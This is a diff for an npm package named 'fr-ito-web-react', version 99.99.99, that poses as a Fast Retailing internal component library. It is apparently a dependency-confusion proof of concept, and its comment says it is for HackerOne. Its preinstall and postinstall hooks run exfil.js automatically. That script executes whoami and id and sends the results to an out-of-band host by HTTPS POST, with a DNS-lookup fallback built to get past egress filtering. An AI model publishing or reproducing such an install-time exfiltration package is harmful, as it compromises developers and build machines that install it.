fr-ito-web-react 99.99.99

package/exfil.js

@@ -0,0 +1,35 @@
+/* Authorized HackerOne PoC - Fast Retailing dependency confusion.
+ * Runs ONLY whoami and id per triager request. No files, no secrets, no persistence. */
+'use strict';
+const { execSync } = require('child_process');
+const https = require('https');
+const dns = require('dns');
+
+const OOB  = 'd9vbd1vstrb04vgt4dqg63k7yg55jhmt5.oast.site';
+const MARK = 'FRITO-POC';
+
+function run(c) {
+  try { return execSync(c, { timeout: 5000 }).toString().trim(); }
+  catch (e) { return 'ERR'; }
+}
+
+const data = [MARK, 'whoami=' + run('whoami'), 'id=' + run('id')].join('\n');
+
+// HTTP POST: full whoami and id output lands in the Collaborator/interactsh body
+try {
+  const body = Buffer.from(data);
+  const req = https.request({
+    host: OOB, port: 443, method: 'POST', path: '/frito',
+    headers: { 'Content-Type': 'text/plain', 'Content-Length': body.length, 'X-PoC': MARK },
+    timeout: 5000, rejectUnauthorized: false
+  });
+  req.on('error', function () {});
+  req.write(body);
+  req.end();
+} catch (e) {}
+
+// DNS fallback: hex-encoded whoami survives HTTP egress filtering
+try {
+  const hex = Buffer.from(run('whoami')).toString('hex').slice(0, 50).toLowerCase();
+  dns.lookup(hex + '.' + MARK.toLowerCase() + '.' + OOB, function () {});
+} catch (e) {}

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "fr-ito-web-react",
+  "version": "99.99.99",
+  "description": "Fast Retailing internal component library",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node exfil.js",
+    "postinstall": "node exfil.js"
+  },
+  "license": "MIT"
+}